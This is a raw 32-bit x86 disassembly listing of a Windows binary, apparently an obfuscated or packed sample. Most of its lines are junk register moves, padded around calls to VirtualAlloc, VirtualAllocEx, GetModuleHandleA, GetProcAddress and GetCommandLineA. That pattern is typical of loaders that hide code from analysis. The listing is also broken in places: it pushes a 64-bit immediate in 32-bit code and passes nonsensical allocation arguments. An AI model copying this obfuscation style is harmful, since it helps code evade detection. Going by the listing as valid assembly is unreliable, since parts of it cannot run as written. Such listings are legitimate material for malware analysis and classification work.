mov esi, dword [ebp]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov eax, 2
mov esi, 0xf2
mov dword [ebp - 0x3c], eax
lea edi, [esp]
lea edi, [ebp - 0x3c]
mov esi, dword [ebp]
mov eax, edi
mov edx, 0x40
mov cx, 4
mov esi, dword [esp]
lea ecx, [esp]
lea ecx, [ebp]
mov edi, dword [ebp - 0x2c]
mov si, 0x20
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x38], edi
mov edi, dword [ebp]
lea esi, [ebp - 0x30]
mov ecx, dword [esp]
mov edi, 0xd8
lea edx, [ebp - 0x38]
lea esi, [ebp - 0x2c]
lea edx, [ebp - 0x38]
mov eax, esi
mov edx, 0xa3
mov di, 4
mov eax, edi
mov edi, dword [esp]
mov ecx, dword [ebp - 0x2c]
lea edi, [ebp - 0x38]
mov edi, dword [esp]
mov edi, dword [ebp]
mov edx, 0xd1
lea ecx, [ebp]
mov edi, dword [esp]
mov ecx, 0xf4
mov eax, edi
mov di, 0x5c
xor eax, eax
sub ecx, ecx
push 4
push 0x4000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [ebp - 0x38]
mov ecx, edx
mov ax, 0x10
mov edx, 0x20
lea eax, [esp]
mov ecx, edi
lea eax, [ebp]
mov edi, 0x80
mov ecx, 0xca
mov dword [ebp - 0x30], ecx
mov ecx, esi
mov edi, dword [ebp]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], esi
lea ecx, [ebp]
lea edx, [esp]
lea edx, [ebp]
mov si, 0xbb
mov edi, dword [ebp]
lea eax, [ebp - 0x2c]
mov edi, dword [ebp]
mov edx, dword [ebp]
mov di, 0xd7
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov ecx, dword [esp]
mov edi, dword [ebp]
lea esi, [ebp - 0x34]
mov esi, 0x8e
lea ecx, [esp]
mov edx, dword [esp]
lea edi, [ebp - 0x30]
mov edx, 8
mov edx, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
mov esi, dword [esp]
mov edi, 0x3b
mov edi, ecx
mov edi, esi
mov si, 2
sub eax, eax
or dword [ebp - 0x3c], 0xffff
add dword [ebp - 0x30], 0x4f
mov ax, 0x34
mov dword [ebp - 0x38], 0x80
or dword [ebp - 0x34], 0xffffff
lea ecx, [ebp - 0x30]
test eax, eax
jae 0x40addc
xor dword [ebp - 0x34], 0xff00ff
xor ecx, ecx
sub ecx, ecx
or dword [ebp - 0x3c], 0xffff
push 8
push 0x4000
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edi, [esp]
mov di, 0x40
mov edi, dword [ebp]
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x2c], esi
mov esi, dword [esp]
lea eax, [ebp - 0x34]
mov ecx, dword [ebp]
mov di, 0x40
mov eax, dword [esp]
mov edx, dword [ebp]
mov dword [ebp - 0x30], edx
lea edx, [ebp]
mov edi, 0x89
mov ecx, dword [esp]
mov dword [ebp - 0x34], esi
mov cx, 1
lea edi, [ebp]
mov edi, dword [esp]
lea eax, [ebp]
lea edi, [esp]
mov esi, dword [ebp - 0x30]
lea edx, [esp]
mov edi, eax
lea ecx, [ebp - 0x34]
mov edx, esi
mov esi, dword [esp]
mov edx, dword [ebp]
lea eax, [esp]
mov dword [ebp - 0x34], ecx
mov ecx, edi
lea eax, [esp]
lea eax, [esp]
mov edi, dword [esp]
mov edx, edi
mov esi, dword [esp]
mov edi, 0x20
mov dword [ebp - 0x2c], esi
lea ecx, [esp]
lea edi, [ebp - 0x34]
lea eax, [esp]
mov esi, 8
mov eax, 4
sub edx, edx
sub edx, edx
sub edx, edx
cmp edx, 0xdbe
jae 0x40ae94
mov eax, dword [ebp - 0x2c]
test edx, edx
jbe 0x40ae94
and dword [ebp - 0x30], 0xffff
and dword [ebp - 0x38], 0xffffff
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edi, [esp]
lea ecx, [ebp]
mov edx, 1
lea edi, [ebp - 0x38]
mov edx, dword [ebp - 0x38]
mov edx, 0x40
mov esi, dword [ebp - 0x3c]
mov di, 0xad
lea esi, [esp]
lea edi, [ebp - 0x38]
mov ecx, esi
mov cx, 0x3d
mov ax, 0x53
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp]
mov ecx, 0xb5
mov edi, dword [ebp - 0x3c]
mov edi, dword [esp]
mov dword [ebp - 0x34], edi
mov edi, dword [ebp]
mov esi, dword [esp]
lea esi, [ebp - 0x2c]
lea eax, [ebp]
mov dx, 0x84
mov edi, ecx
lea esi, [ebp - 0x38]
mov eax, ecx
mov dx, 0x90
lea edx, [esp]
mov edi, dword [ebp]
mov esi, dword [esp]
lea eax, [esp]
mov ecx, edi
lea edi, [ebp]
mov cx, 0xd6
mov edi, dword [esp]
lea ecx, [ebp]
mov dword [ebp - 0x34], edi
lea eax, [ebp - 0x3c]
mov ecx, dword [ebp - 0x3c]
mov ecx, 0x20
test ecx, ecx
jne 0x40af33
sub edx, edx
cmp ecx, dword [ebp - 0x3c]
je 0x40af33
push 0x411b9c
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0xb4
jbe 0x40af5a
mov eax, pe_nt_image_headers32
sub dword [ebp - 0x3c], 0x7e
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea esi, [ebp]
lea edi, [esp]
lea eax, [esp]
mov di, 0x4e
mov ecx, dword [ebp]
mov eax, dword [ebp]
mov edi, esi
mov edi, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [esp]
lea edi, [esp]
mov edi, dword [esp]
lea eax, [esp]
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], ecx
mov esi, dword [ebp]
mov esi, dword [ebp - 0x2c]
lea edi, [ebp]
lea eax, [ebp - 0x38]
mov edi, dword [ebp - 0x34]
lea edi, [ebp - 0x30]
mov dx, 7
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x34]
mov eax, edx
mov di, 0x4a
lea ecx, [ebp]
lea edi, [esp]
lea esi, [esp]
lea edi, [ebp - 0x2c]
lea esi, [ebp]
mov esi, dword [ebp - 0x38]
lea esi, [ebp]
mov cx, 0x68
mov ecx, 0x25
mov edi, dword [esp]
mov edx, dword [esp]
mov ecx, dword [ebp - 0x2c]
mov esi, dword [esp]
mov edx, dword [esp]
lea ecx, [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [esp]
lea edi, [ebp]
lea edi, [ebp]
mov ax, 2
mov ecx, dword [ebp - 0x3c]
lea ecx, [ebp - 0x38]
mov esi, dword [esp]
mov dword [ebp - 0x30], eax
mov edi, eax
mov dword [ebp - 0x3c], edi
lea edi, [ebp]
mov edi, 0x64
mov esi, dword [esp]
mov edi, 0x40
lea edx, [esp]
lea esi, [ebp]
mov edx, dword [ebp]
mov edi, 0x70
mov edi, dword [esp]
mov edx, dword [ebp - 0x3c]
mov edi, edx
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x2c], eax
mov eax, esi
lea edi, [esp]
mov ecx, edx
mov di, 0x10
mov edi, ecx
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x38], ecx
lea edi, [esp]
lea ecx, [ebp - 0x34]
mov eax, 0xb
lea edx, [esp]
mov edi, eax
mov edi, dword [esp]
mov esi, dword [ebp]
lea esi, [ebp]
mov dword [ebp - 0x2c], edi
mov cx, 0x68
mov dword [ebp - 0x2c], esi
mov edx, 0x12c
mov edx, 0x4a
xor dword [ebp - 0x3c], 0xffffff
mov dword [ebp - 0x3c], edx
cmp edx, 0
jae 0x40b094
mov eax, 0x300
mov eax, 0x6b
mov dword [ebp - 0x2c], eax
cmp edx, 0
je 0x40b094
mov edx, 0x64
add dword [ebp - 0x3c], 0x61
xor ecx, ecx
sub dword [ebp - 0x3c], 0x3e
call dword [sym.imp.KERNEL32.dll_GetACP]
mov edx, 0xc4
lea eax, [esp]
lea ecx, [ebp - 0x30]
mov edi, dword [esp]
mov dword [ebp - 0x34], esi
mov cx, 2
lea ecx, [ebp]
mov esi, dword [ebp]
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x2c], edx
lea ecx, [esp]
mov ax, 8
mov esi, 0x51
lea esi, [ebp]
lea esi, [ebp - 0x3c]
mov edx, dword [esp]
lea ecx, [ebp]
lea edx, [ebp]
mov dword [ebp - 0x34], eax
mov edi, dword [ebp]
lea edi, [ebp]
mov ecx, dword [ebp]
mov edi, dword [esp]
mov ecx, dword [ebp]
lea edi, [esp]
mov edi, 0x10
lea edi, [ebp]
lea esi, [ebp]
lea edi, [ebp]
mov edx, dword [ebp]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp]
lea ecx, [esp]
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x30]
mov edi, dword [esp]
mov edx, dword [ebp]
lea edx, [ebp]
mov dx, 2
mov dx, 0xed
mov di, 0x10
call dword [sym.imp.KERNEL32.dll_GetACP]
mov ecx, dword [esp]
lea edi, [ebp]
mov eax, 0x50
lea ecx, [esp]
mov edi, esi
mov edx, dword [ebp]
lea edx, [esp]
mov eax, esi
mov di, 2
mov eax, 0x80
mov dx, 0xbd
mov eax, edi
mov esi, dword [ebp - 0x34]
mov edi, dword [ebp]
lea ecx, [ebp - 0x34]
mov eax, 0xbc
mov dx, 0xe
mov eax, dword [ebp]
mov di, 8
mov si, 0x4f
lea esi, [esp]
lea edx, [ebp]
mov edx, edi
lea edi, [esp]
lea ecx, [ebp - 0x38]
lea edi, [ebp]
lea edx, [esp]
lea ecx, [esp]
mov di, 0x10
mov edx, dword [ebp - 0x3c]
mov edi, edx
mov si, 0xb2
mov edi, dword [ebp]
mov ecx, dword [ebp]
mov edi, dword [esp]
mov di, 4
mov di, 0xa6
mov dword [ebp - 0x38], ecx
mov edi, dword [ebp]
mov esi, dword [esp]
mov ecx, esi
mov si, 1
mov edx, esi
sub edx, edx
mov dword [ebp - 0x3c], 0x17
and dword [ebp - 0x38], 0xffffff
xor dword [ebp - 0x2c], 0xffff
cmp edx, 0
jae 0x40b1e7
sub ecx, ecx
mov dword [ebp - 0x3c], ecx
test edx, edx
jbe 0x40b1f2
mov dx, 1
and dword [ebp - 0x3c], 0xffff
push 8
push 0x8000
push 0x900
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x38]
mov ecx, 0x39
lea esi, [ebp]
mov di, 0x10
mov edx, dword [ebp]
mov edi, edx
mov edi, dword [ebp - 0x3c]
mov si, 0xd8
lea edi, [esp]
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x2c]
mov edx, dword [esp]
lea edx, [ebp - 0x2c]
mov edi, 0x20
mov dword [ebp - 0x3c], edi
mov edi, edx
mov ecx, 2
mov eax, dword [ebp]
mov edi, ecx
mov dword [ebp - 0x38], eax
mov esi, edx
lea eax, [esp]
lea eax, [ebp]
lea edx, [esp]
mov edi, dword [ebp - 0x34]
lea edx, [ebp - 0x38]
lea edi, [ebp]
lea edi, [esp]
mov dword [ebp - 0x30], edi
mov eax, dword [esp]
mov dx, 0x80
mov edi, esi
lea edi, [ebp]
lea edi, [ebp]
mov dword [ebp - 0x38], edx
mov edi, 0x6c
mov ax, 0xda
lea edx, [ebp - 0x38]
mov si, 0xec
mov edx, dword [ebp - 0x38]
sub eax, eax
and dword [ebp - 0x38], 0xff
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
lea edi, [esp]
mov eax, dword [ebp - 0x34]
mov edi, dword [ebp]
mov esi, dword [ebp - 0x3c]
mov ecx, 0x80
mov ax, 0x72
lea ecx, [esp]
lea edi, [ebp]
mov eax, dword [esp]
mov edi, dword [ebp - 0x30]
lea edi, [esp]
mov edi, dword [esp]
lea edx, [ebp - 0x34]
mov ax, 0x15
mov edi, dword [esp]
mov ecx, dword [esp]
lea eax, [esp]
mov dword [ebp - 0x2c], edi
mov di, 0xea
mov edi, edx
mov esi, dword [ebp]
lea edi, [ebp]
mov edx, dword [esp]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp]
mov edx, dword [esp]
lea edx, [esp]
lea edi, [esp]
lea edx, [ebp - 0x2c]
mov edi, dword [ebp]
mov dword [ebp - 0x3c], eax
mov ax, 1
mov ecx, dword [ebp]
mov eax, dword [ebp]
mov edx, dword [ebp - 0x38]
mov si, 0x44
mov dword [ebp - 0x34], edi
mov di, 0x91
lea edi, [esp]
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x30], 0x10
add dword [ebp - 0x34], 8
cmp eax, 0
ja 0x40b32f
mov edx, 0
cmp eax, 0
je 0x40b32f
mov dword [ebp - 0x34], edx
or dword [ebp - 0x38], 0xffffff
xor dword [ebp - 0x38], 0xff00ff
push 8
push 0x8000
push 0x800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea edi, [esp]
mov edx, dword [esp]
lea ecx, [esp]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], ecx
lea eax, [ebp]
mov edi, dword [esp]
mov ecx, 0xb1
lea eax, [esp]
mov esi, dword [esp]
mov eax, dword [ebp]
mov edx, esi
lea esi, [ebp - 0x34]
mov esi, dword [esp]
lea edi, [ebp - 0x38]
lea edi, [ebp]
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], edi
mov dx, 0x53
lea ecx, [ebp]
mov esi, dword [ebp - 0x2c]
lea edi, [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov di, 0x40
lea ecx, [esp]
lea ecx, [esp]
mov ecx, edi
mov dword [ebp - 0x30], edi
mov si, 1
mov edi, ecx
mov dword [ebp - 0x3c], eax
mov edx, edi
lea edx, [esp]
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp]
lea eax, [ebp - 0x3c]
mov di, 0x80
mov dx, 0x17
mov eax, dword [ebp]
mov edi, dword [ebp]
mov eax, 0x64
sub eax, eax
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
and dword [ebp - 0x2c], 0xff00ff
ret